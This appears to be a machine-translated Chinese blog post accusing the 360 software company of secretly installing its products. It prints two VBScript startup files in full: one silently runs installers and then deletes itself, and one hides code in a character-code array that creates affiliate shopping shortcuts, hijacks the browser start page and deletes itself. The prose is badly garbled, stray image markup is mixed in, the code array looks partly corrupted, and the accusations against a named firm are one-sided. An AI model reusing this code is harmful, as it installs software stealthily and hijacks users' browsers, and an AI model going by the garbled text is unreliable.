Before that, my sister had to install a 360 cloud disk on my computer for work. It was a long time, but today I marked the date: Am, January 1, September 21, 2013, the 360 browser is installed on my computer, and the 360 browser will be re-installed after I restart it. At this time, I once again saw the rogue nature of 360 Trojan Horse companies. I used the trojan 3721 for the last time. I thought it was a problem many years ago. Then I used anti-virus software to scan and found two strange files in the windows Startup item. Let me show you what this is. 650) this. width = 650; "src =" http://img.blog.csdn.net/20130921120936671? Watermark/2/text/plain =/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA =/dissolve/70/gravity/SouthEast "alt =" SouthEast "/>
I suddenly yelled at it. When did I come here? I didn't know it was about 360 at the beginning. As a result, I opened the path of the two files.
650) this. width = 650; "src =" http://img.blog.csdn.net/20130921121147359? Watermark/2/text/plain =/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA =/dissolve/70/gravity/SouthEast "alt =" SouthEast "/>
I was curious about the two things. I scanned my computer the night before and found two things. Look at the stuff to know who is the masterpiece.
As a result, I opened the file and finally learned that this was the masterpiece of the company. It turned out to be a 360 Trojan Horse Company. If I went to her sister, please forgive me for yelling at her sister ).
I will post the code below to check the trojan techniques that 360 Trojan companies use to occupy the market. So far, I still don't understand why so many people use 360. I can understand it after reading this article.
Below is the code: Look at the trojan company's true nature.
Susuup. vbs File
On Error Resume Next
Set ws = CreateObject ("Wscript. Shell ")
Set fso = CreateObject ("Scripting. FileSystemObject ")
Programfiles = Ws. expandenvironmentstrings ("% programfiles % ")
Ws. run "& programfiles &" \ 360 \ 360se_oemasdf005.exe ""/s ", True
WScript. Sleep 1000
Ws. run "& programfiles &" \ 360 \ 360safe_oemasdf005.exe ""/s ", True
Fso. DeleteFile WScript. ScriptFullName
SFBA. VBS File
Strs = array (69,114,114,111,114, 101,115,117,109,101, 101,120,116, 83,101,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 106,101, 99,116, 83,104,101,108,108, 112,112,108,105, 116,105,111,110, 67,111,110,115,116, 101,116, 32,111, 98,106, 70,111,108,100,101,114, 32,111, 98,106, 83,104,101,108,108, 97,109,101,115,112, 101,116, 65, 32,111, 98,106, 70,111,108,100,101,114, 73,116,101,109, 32,111, 98,106, 70,111,108,100,101,114, 101,108,102, 83,101,116, 32,111, 98,106, 83,104,101,108,108, 114,105,112,116, 114,101, 97,116,101, 106,101, 99,116, 99,114,105,112,116, 104,101,108,108, 97,118,111,114,105,116,101,115, 32,111, 98,106, 70,111,108,100,101,114, 73,116,101,109, 97,116,104, 105,114, 32,115, 118,111,114,105,116,101,115, 13100, 38, 20058, 92,-17990,-83,101,116,-98,106,102,115,111,-12561,34, 114,101, 97,116,101, 106,101, 99,116, 114,105,112,116,105,110,103, 105,108,101, 83,121,115,116,101,109, 106,101, 99,116, 73,102, 111,116, 98,106,102,115,111, 111,108,100,101,114, 69,120,105,115,116,115, 97,118, 68,105,114, 84,104,101,110, 106,102,115,111, 114,101, 97,116,101, 70,111,108,100,101,114, 97,118, 68,105,114, 110,100, 101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, 32, 34, 92,-13100,-20058,-12808,32, 45, 32,-13100,-23647,46, 117,114,108, 83,104,111,114,116, 99,117,116, 84, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116, 97,111, 99,111,109, 47,103,111, 104,110, 47,116, 98,107, 110,110,101,108, 110,110,101,108, 99,111,100,101, 46,112,104,112, 63,112,105,100, 61,109,109, 101,118,101,110,116,105,100, 83,104,111,114,116, 99,117,116, 97,118,101, 83,101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, 13100, 20058, 14665, 10550, 14644, 16725, -11871,46, 117,114,108, 83,104,111,114,116, 99,117,116, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116, 97,111, 99,111,109, 47,103,111, 104,110, 47,116, 98,107, 110,110,101,108, 47,104,117, 97,110,103,103,117, 97,110, 46,112,104,112, 63,112,105,100, 61,109,109, 50, 48, 101,118,101,110,116,105,100, 83,104,111,114,116, 99,117,116, 97,118,101, 83,101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, 92,-13100,-20058,-12808,32, 45, 32,-18969,-14601,-19513,46, 117,114,108, 83,104,111,114,116, 99,117,116, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116, 97,111, 99,111,109, 47,103,111, 104,110, 47,116, 98,107, 110,110,101,108, 47,101,108,101, 99,116,114,105, 112,104,112, 63,112,105,100, 61,109,109, 101,118,101,110,116,105,100, 83,104,111,114,116, 98, 99,117,116, 97,118,101, 83,101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, 13100, 20058, 15152, 14133, 14667, 92,-12808, 32, 45, 32, -117,114,108, 83,104,111,114,116, 99,117,116, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116, 97,111, 99,111,109, 47,103,111, 104,110, 47,116, 98,107, 110,110,101,108, 47,109, 97,110, 46,112,104,112, 63,112,105,100, 61,109,109, 51, 50, 48, 50, 48, 101,118,101,110,116,105,100, 83,104,111,114,116, 99,117,116, 97,118,101, 83,101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, -13100,-20058,-12808,32, 45, 32,-14930,-14133,-14667,-19008,46, 117,114,108, 83,104,111,114,116, 99,117,116, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116, 97,111, 99,111,109, 47,103,111, 104,110, 47,116, 98,107, 99, 110,110,101,108, 47,108, 97,100,121, 46,112,104,112, 63,112,105,100, 61,109,109, 101,118,101,110,116,105,100, 83,104,111,114,116, 98, 99,117,116, 97,118,101, 83,101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, 13100, 20058, 13876, 19513, 14667, 92,-12808, 32, 45, 32, -117,114,108, 83,104,111,114,116, 99,117,116, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116,109, 97,108,108, 111,109, 47,103,111, 104,110, 47,116, 98,107, 110,110,101,108, 47,116,109, 97,108,108, 95,110,101,119, 46,112,104,112, 63,112,105,100, 61,109,109, 50, 48, 109,111,100,101, 83,104,111,114,116, 99,117,116, 97,118,101, 83,101,116, 32,111, 98,106, 104,111,114,116, 99,117,116, 32,111, 98,106, 83,104,101,108,108, 114,101, 97,116,101, 83,104,111,114,116, 99,117,116, 97,118, 68,105,114, 13100, -20058,-12808,32, 45, 32,-13571,-15637,-13876,-19513,46, 117,114,108, 83,104,111,114,116, 99,117,116, 97,114,103,101,116, 116,104, 104,116,116,112, 47,119,119,119, 46,116, 97,111, 99,111,109, 47,103,111, 104,110, 47,116, 98,107, 110,110,101,108, 47,100,105,103,105,116, 97,108, 46,112,104,112, 63,112,105,100, 61,109,109, 101,118,101,110,116,105,100, 50, 48, 50, 48, 85, 83,104,111,114,116, 99,117,116, 97,118,101, 99,114,105,112,116, 108,101,101,112, 10,105,102, 114,105,112,116, 99,114,105,112,116, 109,101, 116,104,101,110, 85,114,108, 104,116,116,112, 47,119,119,119, 46,104, 97,111, 99,111,109, 46,115,111, 10,101,108,115,101, 85,114,108, 104,116,116,112, 47,119,119,119, 46,104, 97,111, 99,111,109, 46,115,111, 10,101,110,100, 32,105,102, 104,101,108,108, 101,103, 87,114,105,116,101, 83,111,102,116,119, 97,114,101, 114,111,115,111,102,116, 110,116,101,114,110,101,116, 120,112,108,111,114,101,114, 97,105,110, 114,116, 97,103,101, 114,108, 106,102,115,111, 101,108,101,116,101, 70,105,108,101, 114,105,112,116, 99,114,105,112,116, 70,117,108,108, 109,101, 13890, 19459, -16955,-20034,-10284,-13843,13, 114,105,112,116, 46,113,117,105,116)
For I = 1 to UBound (strs)
Runner = runner & chr (strs (I ))
Next
Execute runner
I hope that all IT people can unite. How can a trojan company in the shell of a antivirus company go through the city, most IT practitioners in China still use 360 million anti-virus attacks,
Many of them are white users. Are you sure you want to give the computer security to a Trojan company? 360 what are your practices for the company. When can the Chinese software be cleaned up.